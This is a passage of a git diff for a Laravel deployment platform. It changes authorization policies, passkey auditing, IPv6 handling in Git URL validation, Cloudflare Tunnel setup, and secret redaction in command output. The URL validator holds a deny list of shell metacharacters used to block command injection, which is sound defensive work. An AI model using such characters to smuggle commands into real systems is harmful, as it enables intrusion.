e735b88bb8..12b59dd600 100644 --- a/app/Notifications/Channels/WebhookChannel.php +++ b/app/Notifications/Channels/WebhookChannel.php @@ -20,6 +20,6 @@ class WebhookChannel $payload = $notification->toWebhook(); - SendWebhookJob::dispatch($payload, $webhookSettings->webhook_url); + SendWebhookJob::dispatch($payload, $webhookSettings->webhook_url, data_get($notification, 'isTestNotification', false) ? null : $webhookSettings); } } diff --git a/app/Policies/ApplicationPolicy.php b/app/Policies/ApplicationPolicy.php index 1a1290b55b..3dca4cdf7e 100644 --- a/app/Policies/ApplicationPolicy.php +++ b/app/Policies/ApplicationPolicy.php @@ -106,16 +106,6 @@ class ApplicationPolicy return $teamId !== null && $user->isAdminOfTeam($teamId); } - /** - * Determine whether the user can manage deployments. - */ - public function manageDeployments(User $user, Application $application): bool - { - $teamId = $this->getTeamId($application); - - return $teamId !== null && $user->isAdminOfTeam($teamId); - } - /** * Determine whether the user can manage environment variables. */ @@ -126,14 +116,6 @@ class ApplicationPolicy return $teamId !== null && $user->isAdminOfTeam($teamId); } - /** - * Determine whether the user can cleanup deployment queue. - */ - public function cleanupDeploymentQueue(User $user): bool - { - return $user->isAdmin(); - } - private function getTeamId(Application $application): ?int { return $application->team()?->id; diff --git a/app/Policies/ApplicationPreviewPolicy.php b/app/Policies/ApplicationPreviewPolicy.php index f3c13acd94..6e1b597249 100644 --- a/app/Policies/ApplicationPreviewPolicy.php +++ b/app/Policies/ApplicationPreviewPolicy.php @@ -88,16 +88,6 @@ class ApplicationPreviewPolicy return $teamId !== null && $user->isAdminOfTeam($teamId); } - /** - * Determine whether the user can manage preview deployments. - */ - public function manageDeployments(User $user, ApplicationPreview $applicationPreview): bool - { - $teamId = $this->getTeamId($applicationPreview); - - return $teamId !== null && $user->isAdminOfTeam($teamId); - } - private function getTeamId(ApplicationPreview $applicationPreview): ?int { return $applicationPreview->application?->team()?->id; diff --git a/app/Policies/GithubAppPolicy.php b/app/Policies/GithubAppPolicy.php index d152ab1d1a..0558e716b7 100644 --- a/app/Policies/GithubAppPolicy.php +++ b/app/Policies/GithubAppPolicy.php @@ -35,6 +35,14 @@ class GithubAppPolicy return $user->isAdmin(); } + /** + * Determine whether the user can make a Github App available to every team on the instance. + */ + public function makeSystemWide(User $user): bool + { + return $user->canAccessSystemResources(); + } + /** * Determine whether the user can update the model. */ diff --git a/app/Policies/GitlabAppPolicy.php b/app/Policies/GitlabAppPolicy.php index 8a9d773d6d..e7e7620b62 100644 --- a/app/Policies/GitlabAppPolicy.php +++ b/app/Policies/GitlabAppPolicy.php @@ -35,6 +35,14 @@ class GitlabAppPolicy return $user->isAdmin(); } + /** + * Determine whether the user can make a Gitlab App available to every team on the instance. + */ + public function makeSystemWide(User $user): bool + { + return $user->canAccessSystemResources(); + } + /** * Determine whether the user can update the model. */ diff --git a/app/Policies/ResourceCreatePolicy.php b/app/Policies/ResourceCreatePolicy.php index 5b60674d5b..ee2876d956 100644 --- a/app/Policies/ResourceCreatePolicy.php +++ b/app/Policies/ResourceCreatePolicy.php @@ -2,39 +2,10 @@ namespace App\Policies; -use App\Models\Application; -use App\Models\Service; -use App\Models\StandaloneClickhouse; -use App\Models\StandaloneDragonfly; -use App\Models\StandaloneKeydb; -use App\Models\StandaloneMariadb; -use App\Models\StandaloneMongodb; -use App\Models\StandaloneMysql; -use App\Models\StandalonePostgresql; -use App\Models\StandaloneRedis; -use App\Models\StandaloneSqlite; use App\Models\User; class ResourceCreatePolicy { - /** - * List of resource classes that can be created - */ - public const CREATABLE_RESOURCES = [ - StandalonePostgresql::class, - StandaloneRedis::class, - StandaloneMongodb::class, - StandaloneMysql::class, - StandaloneMariadb::class, - StandaloneKeydb::class, - StandaloneDragonfly::class, - StandaloneClickhouse::class, - StandaloneSqlite::class, - Service::class, - Application::class, - GithubApp::class, - ]; - /** * Determine whether the user can create any resource. */ @@ -42,24 +13,4 @@ class ResourceCreatePolicy { return $user->isAdmin(); } - - /** - * Determine whether the user can create a specific resource type. - */ - public function create(User $user, string $resourceClass): bool - { - if (! in_array($resourceClass, self::CREATABLE_RESOURCES)) { - return false; - } - - return $user->isAdmin(); - } - - /** - * Authorize creation of all supported resource types. - */ - public function authorizeAllResourceCreation(User $user): bool - { - return $this->createAny($user); - } } diff --git a/app/Policies/ServicePolicy.php b/app/Policies/ServicePolicy.php index 6ca79b42ac..272ea1e930 100644 --- a/app/Policies/ServicePolicy.php +++ b/app/Policies/ServicePolicy.php @@ -109,16 +109,6 @@ class ServicePolicy return $teamId !== null && $user->isAdminOfTeam($teamId); } - /** - * Determine whether the user can access the terminal. - */ - public function accessTerminal(User $user, Service $service): bool - { - $teamId = $this->getTeamId($service); - - return $teamId !== null && $user->isAdminOfTeam($teamId); - } - private function getTeamId(Service $service): ?int { return $service->team()?->id; diff --git a/app/Providers/AppServiceProvider.php b/app/Providers/AppServiceProvider.php index ff7eeb8c44..1c36b36298 100644 --- a/app/Providers/AppServiceProvider.php +++ b/app/Providers/AppServiceProvider.php @@ -8,7 +8,10 @@ use App\Auth\Oidc\Socialite\OidcProvider; use App\Models\PersonalAccessToken; use App\Models\Server; use App\Rules\SafeExternalUrl; +use App\Support\AtomicFilesystem; use Illuminate\Database\Eloquent\Model; +use Illuminate\Foundation\Console\ConfigCacheCommand; +use Illuminate\Foundation\Console\RouteCacheCommand; use Illuminate\Support\Facades\App; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Http; @@ -25,6 +28,10 @@ class AppServiceProvider extends ServiceProvider public function register(): void { $this->app->bind(StripeClient::class, fn () => new StripeClient(config('subscription.stripe_api_key'))); + + // Requests must never read a partly written cache file. See AtomicFilesystem. + $this->app->extend(ConfigCacheCommand::class, fn () => new ConfigCacheCommand(new AtomicFilesystem)); + $this->app->extend(RouteCacheCommand::class, fn () => new RouteCacheCommand(new AtomicFilesystem)); } public function boot(): void diff --git a/app/Providers/EventServiceProvider.php b/app/Providers/EventServiceProvider.php index e9da72d442..a894b7f3d9 100644 --- a/app/Providers/EventServiceProvider.php +++ b/app/Providers/EventServiceProvider.php @@ -14,6 +14,9 @@ use Laravel\Fortify\Events\RecoveryCodesGenerated; use Laravel\Fortify\Events\TwoFactorAuthenticationConfirmed; use Laravel\Fortify\Events\TwoFactorAuthenticationDisabled; use Laravel\Fortify\Events\TwoFactorAuthenticationEnabled; +use Laravel\Passkeys\Events\PasskeyDeleted; +use Laravel\Passkeys\Events\PasskeyRegistered; +use Laravel\Passkeys\Events\PasskeyVerified; use SocialiteProviders\Authentik\AuthentikExtendSocialite; use SocialiteProviders\Azure\AzureExtendSocialite; use SocialiteProviders\Clerk\ClerkExtendSocialite; @@ -72,6 +75,15 @@ class EventServiceProvider extends ServiceProvider Event::listen(RecoveryCodesGenerated::class, function (RecoveryCodesGenerated $event): void { auditLog('auth.user.recovery_codes_regenerated', $this->authContext($event->user)); }); + Event::listen(PasskeyRegistered::class, function (PasskeyRegistered $event): void { + auditLog('auth.user.passkey_registered', $this->authContext($event->user)); + }); + Event::listen(PasskeyVerified::class, function (PasskeyVerified $event): void { + auditLog('auth.user.passkey_verified', $this->authContext($event->user)); + }); + Event::listen(PasskeyDeleted::class, function (PasskeyDeleted $event): void { + auditLog('auth.user.passkey_deleted', $this->authContext($event->user)); + }); } /** diff --git a/app/Providers/FortifyServiceProvider.php b/app/Providers/FortifyServiceProvider.php index 9bdc5d7371..d6519aac0e 100644 --- a/app/Providers/FortifyServiceProvider.php +++ b/app/Providers/FortifyServiceProvider.php @@ -7,6 +7,7 @@ use App\Actions\Fortify\ResetUserPassword; use App\Actions\Fortify\UpdateUserPassword; use App\Models\OauthSetting; use App\Models\User; +use App\Support\PasskeyRelyingParty; use Illuminate\Http\Request; use Illuminate\Support\Facades\Hash; use Illuminate\Support\ServiceProvider; @@ -68,6 +69,7 @@ class FortifyServiceProvider extends ServiceProvider fn (OauthSetting $oauthSetting) => $oauthSetting->couldBeEnabled() && $oauthSetting->allowsUserCreation() ), 'enabled_oauth_providers' => $enabled_oauth_providers, + 'passkeys_available' => PasskeyRelyingParty::isAvailable(), ]); }); @@ -108,7 +110,10 @@ class FortifyServiceProvider extends ServiceProvider Fortify::updateUserPasswordsUsing(UpdateUserPassword::class); Fortify::confirmPasswordView(function () { - return view('auth.confirm-password'); + return view('auth.confirm-password', [ + 'can_confirm_with_passkey' => PasskeyRelyingParty::isAvailable() + && auth()->user()->hasPasskeysEnabled(), + ]); }); Fortify::twoFactorChallengeView(function () { diff --git a/app/Providers/RouteServiceProvider.php b/app/Providers/RouteServiceProvider.php index 24cec00b4c..dedac3a095 100644 --- a/app/Providers/RouteServiceProvider.php +++ b/app/Providers/RouteServiceProvider.php @@ -74,6 +74,10 @@ class RouteServiceProvider extends ServiceProvider return Limit::perMinute(5)->by($request->session()->get('login.id')); }); + RateLimiter::for('passkeys', function (Request $request) { + return Limit::perMinute(30)->by('passkeys:'.auth_rate_limit_ip($request)); + }); + RateLimiter::for('forgot-password', function (Request $request) { $limits = [ Limit::perMinutes(10, 3)->by('forgot-password:ip:'.sha1(auth_rate_limit_ip($request))), diff --git a/app/Rules/SafeWebhookUrl.php b/app/Rules/SafeWebhookUrl.php index 25bc84449b..c872dde82b 100644 --- a/app/Rules/SafeWebhookUrl.php +++ b/app/Rules/SafeWebhookUrl.php @@ -11,7 +11,6 @@ use Illuminate\Support\Facades\Log; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Psr\Http\Message\UriInterface; -use PurplePixie\PhpDns\DNSQuery; use PurplePixie\PhpDns\DNSTypes; use Throwable; @@ -362,10 +361,9 @@ class SafeWebhookUrl implements ValidationRule foreach ($dnsServers as $dnsServer) { foreach ([DNSTypes::NAME_A, DNSTypes::NAME_AAAA] as $type) { try { - $query = new DNSQuery($dnsServer, 53, 5); - $records = $query->query($host, $type); + $records = queryDnsServer($dnsServer, $host, $type); - if ($records === false || $query->hasError()) { + if ($records === false) { continue; } @@ -395,7 +393,7 @@ class SafeWebhookUrl implements ValidationRule } return array_values(array_filter(array_map( - fn (string $server): string => trim($server), + fn (string $server): string => normalizeIpAddress($server), explode(',', $servers), ), fn (string $server): bool => filter_var($server, FILTER_VALIDATE_IP) !== false)); } diff --git a/app/Rules/ValidGitRepositoryUrl.php b/app/Rules/ValidGitRepositoryUrl.php index 29e219bd35..9a04409046 100644 --- a/app/Rules/ValidGitRepositoryUrl.php +++ b/app/Rules/ValidGitRepositoryUrl.php @@ -12,7 +12,7 @@ class ValidGitRepositoryUrl implements ValidationRule protected bool $allowIP; - public function __construct(bool $allowSSH = true, bool $allowIP = false) + public function __construct(bool $allowSSH = true, bool $allowIP = true) { $this->allowSSH = $allowSSH; $this->allowIP = $allowIP; @@ -27,6 +27,13 @@ class ValidGitRepositoryUrl implements ValidationRule return; } + // Brackets are only allowed around an IPv6 host, so check the rest of the URL without it. + $valueWithoutIpv6Host = preg_replace_callback( + '/^((?:https?|git):\/\/|[a-zA-Z0-9._-]+@)\[([0-9A-Fa-f:.]+)\]/', + fn (array $matches): string => filter_var($matches[2], FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false ? $matches[1].'ipv6-host' : $matches[0], + $value, + ); + // Check for dangerous shell metacharacters that could be used for command injection $dangerousChars = [ ';', '|', '&', '$', '`', '(', ')', '{', '}', @@ -36,7 +43,7 @@ class ValidGitRepositoryUrl implements ValidationRule ]; foreach ($dangerousChars as $char) { - if (str_contains($value, $char)) { + if (str_contains($valueWithoutIpv6Host, $char)) { Log::warning('Git repository URL validation failed - dangerous character', [ 'url' => $value, 'character' => $char, @@ -63,7 +70,7 @@ class ValidGitRepositoryUrl implements ValidationRule ]; foreach ($dangerousPatterns as $pattern) { - if (preg_match($pattern, $value)) { + if (preg_match($pattern, $valueWithoutIpv6Host)) { Log::warning('Git repository URL validation failed - dangerous pattern', [ 'url' => $value, 'pattern' => $pattern, @@ -77,7 +84,7 @@ class ValidGitRepositoryUrl implements ValidationRule } // Validate based on URL type - if (preg_match('/^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+:/', $value)) { + if (preg_match('/^[a-zA-Z0-9._-]+@(\[[0-9A-Fa-f:.]+\]|[a-zA-Z0-9.-]+):/', $value)) { if (! $this->allowSSH) { $fail('SSH URLs are not allowed.'); @@ -86,7 +93,7 @@ class ValidGitRepositoryUrl implements ValidationRule // Validate scp-style SSH URL format (user@host:user/repo.git) $scp = parseScpStyleGitUrl($value); - if ($scp === null || preg_match('/^[a-zA-Z0-9.-]+$/', $scp['host']) !== 1 || preg_match('/^[a-zA-Z0-9\-_\/.~]+$/', $scp['path']) !== 1) { + if ($scp === null || preg_match('/^(\[[0-9A-Fa-f:.]+\]|[a-zA-Z0-9.-]+)$/', $scp['host']) !== 1 || preg_match('/^[a-zA-Z0-9\-_\/.~]+$/', $scp['path']) !== 1) { $fail('The :attribute is not a valid SSH repository URL.'); return; @@ -100,9 +107,11 @@ class ValidGitRepositoryUrl implements ValidationRule } $parsed = parse_url($value); + // parse_url() keeps the brackets around an IPv6 host. + $host = trim(strtolower($parsed['host'] ?? ''), '[]'); // Check for IP addresses if not allowed - if (! $this->allowIP && filter_var($parsed['host'] ?? '', FILTER_VALIDATE_IP)) { + if (! $this->allowIP && filter_var($host, FILTER_VALIDATE_IP)) { Log::warning('Git repository URL contains IP address', [ 'url' => $value, 'ip' => request()->ip(), @@ -114,9 +123,10 @@ class ValidGitRepositoryUrl implements ValidationRule } // Check for localhost/internal addresses - $host = strtolower($parsed['host'] ?? ''); $internalHosts = ['localhost', '127.0.0.1', '0.0.0.0', '::1']; - if (in_array($host, $internalHosts) || str_ends_with($host, '.local')) { + $isReservedIp = filter_var($host, FILTER_VALIDATE_IP) !== false + && filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE) === false; + if (in_array($host, $internalHosts) || $isReservedIp || str_ends_with($host, '.local')) { Log::warning('Git repository URL points to internal host', [ 'url' => $value, 'host' => $host, @@ -144,7 +154,7 @@ class ValidGitRepositoryUrl implements ValidationRule } } elseif (str_starts_with($value, 'git://')) { // Validate git:// protocol URL (supports both git://host/path and git://host:port/path with tilde) - if (! preg_match('/^git:\/\/[a-zA-Z0-9\.\-]+(:[0-9]+)?[:\/][a-zA-Z0-9\-_\/\.~]+$/', $value)) { + if (! preg_match('/^git:\/\/(\[[0-9A-Fa-f:.]+\]|[a-zA-Z0-9\.\-]+)(:[0-9]+)?[:\/][a-zA-Z0-9\-_\/\.~]+$/', $value)) { $fail('The :attribute is not a valid git:// URL.'); return; diff --git a/app/Rules/ValidServerIp.php b/app/Rules/ValidServerIp.php index 270ff1c348..cdf53b727f 100644 --- a/app/Rules/ValidServerIp.php +++ b/app/Rules/ValidServerIp.php @@ -8,7 +8,7 @@ use Illuminate\Contracts\Validation\ValidationRule; class ValidServerIp implements ValidationRule { /** - * Accepts a valid IPv4 address, IPv6 address, or RFC 1123 hostname. + * Accepts a valid IPv4 address, IPv6 address (optionally in brackets), or RFC 1123 hostname. */ public function validate(string $attribute, mixed $value, Closure $fail): void { @@ -26,6 +26,12 @@ class ValidServerIp implements ValidationRule return; } + // A bracketed IPv6 address ([2a01:4f8::1]); it is stored without brackets. + if (str_starts_with($trimmed, '[') && str_ends_with($trimmed, ']') + && filter_var(substr($trimmed, 1, -1), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) { + return; + } + // Delegate hostname validation to ValidHostname $hostnameRule = new ValidHostname; $failed = false; diff --git a/app/Services/CloudflareTokenValidator.php b/app/Services/CloudflareTokenValidator.php index 2a4a761027..a48efda741 100644 --- a/app/Services/CloudflareTokenValidator.php +++ b/app/Services/CloudflareTokenValidator.php @@ -16,17 +16,28 @@ class CloudflareTokenValidator return false; } - if (in_array('dns', $capabilities, true)) { - $zones = $client->get('https://api.cloudflare.com/client/v4/zones', ['per_page' => 1]); - $zoneId = $zones->json('result.0.id'); + if (! in_array('dns', $capabilities, true)) { + return true; + } - if (! $zones->successful() || ! is_string($zoneId)) { - return false; - } + $zones = $client->get('https://api.cloudflare.com/client/v4/zones', ['per_page' => 1]); + $zoneId = $zones->json('result.0.id'); - return $client->get("https://api.cloudflare.com/client/v4/zones/{$zoneId}/dns_records", [ - 'per_page' => 1, - ])->successful(); + if (! $zones->successful() || ! is_string($zoneId)) { + return false; + } + + if (! $client->get("https://api.cloudflare.com/client/v4/zones/{$zoneId}/dns_records", ['per_page' => 1])->successful()) { + return false; + } + + if (in_array('tunnel', $capabilities, true)) { + $accountId = $zones->json('result.0.account.id'); + + return is_string($accountId) && $client->get( + "https://api.cloudflare.com/client/v4/accounts/{$accountId}/cfd_tunnel", + ['per_page' => 1, 'is_deleted' => 'false'], + )->successful(); } return true; diff --git a/app/Services/CloudflareTunnelService.php b/app/Services/CloudflareTunnelService.php new file mode 100644 index 0000000000..358b4075d4 --- /dev/null +++ b/app/Services/CloudflareTunnelService.php @@ -0,0 +1,283 @@ +uuid}"; + } + + /** + * Creates (or reuses) the tunnel, routes the hostname to the server SSH port, points a proxied CNAME at the tunnel, + * and starts cloudflared. The CloudflareTunnelChanged listener enables the tunnel when cloudflared is healthy. + * + * @param array{record_id: string, current: string}|null $confirmedConflict An existing DNS record the user agreed to replace. + * + * @throws DnsRecordConflictException when another DNS record already uses the hostname + * @throws LockTimeoutException when another DNS change for the hostname does not finish in time + * @throws RuntimeException when a Cloudflare call fails + */ + public function setUp(Server $server, IntegrationToken $token, string $hostname, ?array $confirmedConflict = null): Activity + { + $zone = $this->zoneFor($server, $token, $hostname); + $accountId = $zone->account_id; + if (blank($accountId)) { + throw new RuntimeException("Cloudflare returned no account for the zone {$zone->name}."); + } + + [$tunnelId, $tunnelToken, $created] = $this->findOrCreateTunnel($token, $accountId, self::tunnelName($server)); + + try { + $this->request($token, 'put', "/accounts/{$accountId}/cfd_tunnel/{$tunnelId}/configurations", [ + 'config' => ['ingress' => [ + ['hostname' => $hostname, 'service' => "ssh://localhost:{$server->port}"], + ['service' => 'http_status:404'], + ]], + ]); + + $target = "{$tunnelId}.cfargotunnel.com"; + if ($confirmedConflict !== null) { + $this->dns->replaceRecord($zone, $confirmedConflict['record_id'], $hostname, $target, $server, $confirmedConflict['current'], proxied: true); + } else { + $this->dns->createRecord($zone, $hostname, $target, $server, proxied: true); + } + } catch (Throwable $e) { + // Coolify does not track the tunnel yet, so a tunnel created by this run would stay in Cloudflare. + if ($created) { + $this->deleteUntrackedTunnel($token, $accountId, $tunnelId); + } + + throw $e; + } + $this->releaseDnsRecords($server, except: $hostname); + + // Saved before cloudflared starts, so disabling the tunnel can clean up even when cloudflared does not become healthy. + $server->settings->update([ + 'cloudflare_tunnel_id' => $tunnelId, + 'cloudflare_tunnel_account_id' => $accountId, + 'cloudflare_tunnel_integration_token_id' => $token->id, + ]); + + return ConfigureCloudflared::run($server, $tunnelToken, $hostname); + } + + /** + * Stops cloudflared and deletes the tunnel and the DNS record that setUp() created. + * Never throws; returns warnings for the user and always forgets the tunnel. + * + * @return array + */ + public function tearDown(Server $server): array + { + $settings = $server->settings; + if (blank($settings->cloudflare_tunnel_id)) { + return []; + } + + $warnings = []; + $name = self::tunnelName($server); + $token = IntegrationToken::query() + ->where('team_id', $server->team_id) + ->whereKey($settings->cloudflare_tunnel_integration_token_id) + ->first(); + + // Coolify usually reaches the server through this tunnel. Stopping cloudflared in the SSH session would cut + // that session and make SSH retry, so the stop runs detached and the session ends first. + instant_remote_process([ + "nohup setsid sh -c 'sleep 2; docker rm -f coolify-cloudflared' > /dev/null 2>&1 < /dev/null &", + ], $server, false); + + // The DNS record does not depend on the connector, so it goes first while cloudflared stops. + array_push($warnings, ...$this->releaseDnsRecords($server)); + + if ($token === null) { + $warnings[] = "The Cloudflare token of the tunnel no longer exists. Delete the tunnel {$name} in Cloudflare."; + } elseif (($warning = $this->deleteStoppedTunnel($token, $settings->cloudflare_tunnel_account_id, $settings->cloudflare_tunnel_id, $name)) !== null) { + $warnings[] = $warning; + } + + $settings->update([ + 'cloudflare_tunnel_id' => null, + 'cloudflare_tunnel_account_id' => null, + 'cloudflare_tunnel_integration_token_id' => null, + ]); + + return $warnings; + } + + /** + * Deletes the tunnel once its connector is gone. Removing the connections first lets Cloudflare forget a connector + * that already stopped; a connector that is still stopping keeps the delete failing until it disconnects. + */ + private function deleteStoppedTunnel(IntegrationToken $token, string $accountId, string $tunnelId, string $name): ?string + { + $path = self::API_URL."/accounts/{$accountId}/cfd_tunnel/{$tunnelId}"; + + try { + for ($attempt = 1; $attempt <= self::DELETE_ATTEMPTS; $attempt++) { + $this->client($token)->delete("{$path}/connections"); + $response = $this->client($token)->delete($path); + if ($response->successful() || $response->status() === 404) { + return null; + } + if ($response->status() === 403) { + return CloudflareDnsProvider::missingPermissionMessage(self::TUNNEL_PERMISSION)." Delete the tunnel {$name} in Cloudflare."; + } + if ($attempt < self::DELETE_ATTEMPTS) { + Sleep::for(2)->seconds(); + } + } + } catch (Throwable) { + return "Cloudflare did not respond. Delete the tunnel {$name} in Cloudflare."; + } + + return "Cloudflare could not delete the tunnel {$name}. Delete it in Cloudflare."; + } + + private function zoneFor(Server $server, IntegrationToken $token, string $hostname): DnsProviderZone + { + $find = fn (): ?DnsProviderZone => $this->dns->findZones($server->team_id, $hostname) + ->firstWhere('integration_token_id', $token->id); + + $zone = $find(); + if ($zone === null) { + $this->dns->syncZones($token); + $zone = $find(); + } + + return $zone ?? throw new RuntimeException("No Cloudflare zone of the token {$token->name} manages {$hostname}."); + } + + /** + * @return array{0: string, 1: string, 2: bool} tunnel ID, tunnel token, and whether this call created the tunnel + */ + private function findOrCreateTunnel(IntegrationToken $token, string $accountId, string $name): array + { + $existing = collect($this->request($token, 'get', "/accounts/{$accountId}/cfd_tunnel", [ + 'name' => $name, + 'is_deleted' => 'false', + ])->json('result', []))->first(fn ($tunnel): bool => is_array($tunnel) && ($tunnel['name'] ?? null) === $name); + + if (is_string($existing['id'] ?? null)) { + $tunnelId = $existing['id']; + $tunnelToken = $this->request($token, 'get', "/accounts/{$accountId}/cfd_tunnel/{$tunnelId}/token")->json('result'); + $created = false; + } else { + $response = $this->request($token, 'post', "/accounts/{$accountId}/cfd_tunnel", [ + 'name' => $name, + 'config_src' => 'cloudflare', + ]); + $tunnelId = $response->json('result.id'); + $tunnelToken = $response->json('result.token'); + $created = true; + } + + if (! is_string($tunnelId) || ! is_string($tunnelToken) || $tunnelToken === '') { + throw new RuntimeException('Cloudflare returned no tunnel token.'); + } + + return [$tunnelId, $tunnelToken, $created]; + } + + /** + * Best effort: the tunnel has no connector yet, so Cloudflare deletes it directly. + */ + private function deleteUntrackedTunnel(IntegrationToken $token, string $accountId, string $tunnelId): void + { + try { + $this->client($token)->delete(self::API_URL."/accounts/{$accountId}/cfd_tunnel/{$tunnelId}"); + } catch (Throwable) { + // The original error matters more; a re-run reuses the tunnel by name anyway. + } + } + + /** + * Releases the server's managed DNS records (except the given hostname). Records are deleted only when + * Coolify created them and nothing else uses the hostname. + * + * @return array + */ + private function releaseDnsRecords(Server $server, ?string $except = null): array + { + $key = [$server->getMorphClass(), $server->getKey()]; + $records = ManagedDnsRecord::query() + ->where('team_id', $server->team_id) + ->when($except !== null, fn ($query) => $query->where('name', '!=', $except)) + ->whereHas('references', fn ($query) => $query->where('resource_type', $key[0])->where('resource_id', $key[1])) + ->get(); + + return $records->map(function (ManagedDnsRecord $record) use ($key): ?string { + try { + $result = $this->cleanup->release($record, [$key], true); + } catch (Throwable) { + $result = ManagedDnsDeletionResult::Failed; + } + + return match ($result) { + ManagedDnsDeletionResult::ChangedExternally => "The DNS record {$record->name} changed outside Coolify and was left untouched.", + ManagedDnsDeletionResult::Failed, ManagedDnsDeletionResult::Busy => "The DNS record {$record->name} could not be deleted. Delete it in Cloudflare.", + default => null, + }; + })->filter()->values()->all(); + } + + /** + * @param array $data + */ + private function request(IntegrationToken $token, string $method, string $path, array $data = []): Response + { + $response = $this->client($token)->{$method}(self::API_URL.$path, $data); + + if ($response->status() === 403) { + throw new RuntimeException(CloudflareDnsProvider::missingPermissionMessage(self::TUNNEL_PERMISSION)); + } + if (! $response->successful() || $response->json('success') === false) { + $message = $response->json('errors.0.message'); + + throw new RuntimeException('Cloudflare Tunnel request failed'.(is_string($message) ? ": {$message}" : '.')); + } + + return $response; + } + + private function client(IntegrationToken $token): PendingRequest + { + return Http::withToken($token->token)->acceptJson()->connectTimeout(5)->timeout(15); + } +} diff --git a/app/Services/ConfigurationRepository.php b/app/Services/ConfigurationRepository.php index 660191859e..41905fecef 100644 --- a/app/Services/ConfigurationRepository.php +++ b/app/Services/ConfigurationRepository.php @@ -37,7 +37,7 @@ class ConfigurationRepository $this->config->set('mail.mailers.smtp', [ 'transport' => 'smtp', 'scheme' => $mailerOptions['scheme'], - 'host' => $settings->smtp_host, + 'host' => filled($settings->smtp_host) ? formatHostForUrl($settings->smtp_host) : $settings->smtp_host, 'port' => $settings->smtp_port, 'encryption' => $mailerOptions['encryption'], 'username' => $settings->smtp_username, diff --git a/app/Services/CoolifyUpgradeStatus.php b/app/Services/CoolifyUpgradeStatus.php index 15f6c22ef2..9027d5bcd9 100644 --- a/app/Services/CoolifyUpgradeStatus.php +++ b/app/Services/CoolifyUpgradeStatus.php @@ -6,8 +6,16 @@ use DateTimeInterface; class CoolifyUpgradeStatus { + public const FILE = '/data/coolify/source/.upgrade-status'; + public const STALE_AFTER_MINUTES = 10; + /** + * An upgrade that has not written a status for this long is treated as stopped, + * so a crashed upgrade does not block new ones forever. + */ + public const RUNNING_LOCK_EXPIRES_AFTER_MINUTES = 15; + /** * @return array{status: string, step?: int, message?: string, running_version: string, target_version: string} */ @@ -77,6 +85,30 @@ class CoolifyUpgradeStatus ]; } + public static function isRunning(string $content, ?DateTimeInterface $now = null): bool + { + $parts = explode('|', trim($content)); + if (count($parts) < 3) { + return false; + } + + [$step, , $timestamp] = $parts; + if (! in_array($step, ['1', '2', '3', '4', '5'], true) || trim($timestamp) === '') { + return false; + } + + try { + $statusTime = new \DateTime($timestamp); + } catch (\Throwable) { + return false; + } + + $now = $now ?? new \DateTime; + $diffMinutes = ($now->getTimestamp() - $statusTime->getTimestamp()) / 60; + + return $diffMinutes <= self::RUNNING_LOCK_EXPIRES_AFTER_MINUTES; + } + public static function hasReachedTargetVersion(string $runningVersion, string $targetVersion): bool { if ($runningVersion === '' || $targetVersion === '') { diff --git a/app/Services/DatabaseStartCommandExecutor.php b/app/Services/DatabaseStartCommandExecutor.php index 96e2f500bd..4fc38a9539 100644 --- a/app/Services/DatabaseStartCommandExecutor.php +++ b/app/Services/DatabaseStartCommandExecutor.php @@ -4,9 +4,12 @@ namespace App\Services; use App\Enums\ProcessStatus; use App\Helpers\SshMultiplexingHelper; +use App\Services\Security\SensitiveDataRedactor; use Illuminate\Database\Eloquent\Model; +use Illuminate\Process\Exceptions\ProcessTimedOutException; use Illuminate\Support\Facades\Process; use Spatie\Activitylog\Models\Activity; +use Symfony\Component\Process\Exception\ProcessTimedOutException as SymfonyProcessTimedOutException; class DatabaseStartCommandExecutor { @@ -25,13 +28,31 @@ class DatabaseStartCommandExecutor $activity->properties = $activity->properties->merge(['status' => ProcessStatus::IN_PROGRESS->value]); $activity->save(); - $process = Process::timeout(config('constants.ssh.command_timeout')) - ->idleTimeout(3600) - ->start($remoteCommand, function (string $type, string $output) use ($activity, $secrets): void { - $this->appendOutput($activity, $type, $this->redact($output, $secrets)); - }); + $timeout = config('constants.ssh.command_timeout'); + // Output is redacted per complete line, so a secret split across two output chunks is still found. + $pending = ['stdout' => '', 'stderr' => '']; + try { + $process = Process::timeout($timeout) + ->idleTimeout(3600) + ->start($remoteCommand, function (string $type, string $output) use ($activity, $secrets, &$pending): void { + $pending[$type] = ($pending[$type] ?? '').$output; + $end = max(strrpos($pending[$type], "\n"), strrpos($pending[$type], "\r")); + if ($end === false) { + return; + } + $this->appendOutput($activity, $type, $this->redact(substr($pending[$type], 0, $end + 1), $secrets)); + $pending[$type] = substr($pending[$type], $end + 1); + }); - $result = $process->wait(); + $result = $process->wait(); + } catch (ProcessTimedOutException|SymfonyProcessTimedOutException) { + // The timeout message contains the full SSH command, which can contain secrets. + throw new \RuntimeException("The command on the server timed out after {$timeout} seconds.", 124); + } finally { + foreach ($pending as $type => $output) { + $this->appendOutput($activity, $type, $this->redact($output, $secrets)); + } + } $status = $result->successful() ? ProcessStatus::FINISHED : ProcessStatus::ERROR; $activity->properties = $activity->properties->merge([ 'status' => $status->value, @@ -46,15 +67,12 @@ class DatabaseStartCommandExecutor return $activity; } + /** + * @param array $secrets + */ private function redact(string $value, array $secrets): string { - foreach ($secrets as $secret) { - if (is_string($secret) && $secret !== '') { - $value = str_replace($secret, REDACTED, $value); - } - } - - return sanitize_utf8_text(remove_iip($value)); + return sanitize_utf8_text(resolve(SensitiveDataRedactor::class)->redactText($value, lockedSecrets: $secrets)); } private function appendOutput(Activity $activity, string $type, string $output): void diff --git a/app/Services/DeploymentConfiguration/ApplicationConfigurationSnapshot.php b/app/Services/DeploymentConfiguration/ApplicationConfigurationSnapshot.php index 6a38840c5f..b632a1cedc 100644 --- a/app/Services/DeploymentConfiguration/ApplicationConfigurationSnapshot.php +++ b/app/Services/DeploymentConfiguration/ApplicationConfigurationSnapshot.php @@ -205,6 +205,7 @@ class ApplicationConfigurationSnapshot $this->item('is_force_https_enabled', 'Force HTTPS', data_get($this->application, 'settings.is_force_https_enabled'), 'redeploy'), $this->item('is_gzip_enabled', 'Gzip', data_get($this->application, 'settings.is_gzip_enabled'), 'redeploy'), $this->item('is_stripprefix_enabled', 'Strip prefix', data_get($this->application, 'settings.is_stripprefix_enabled'), 'redeploy'), + 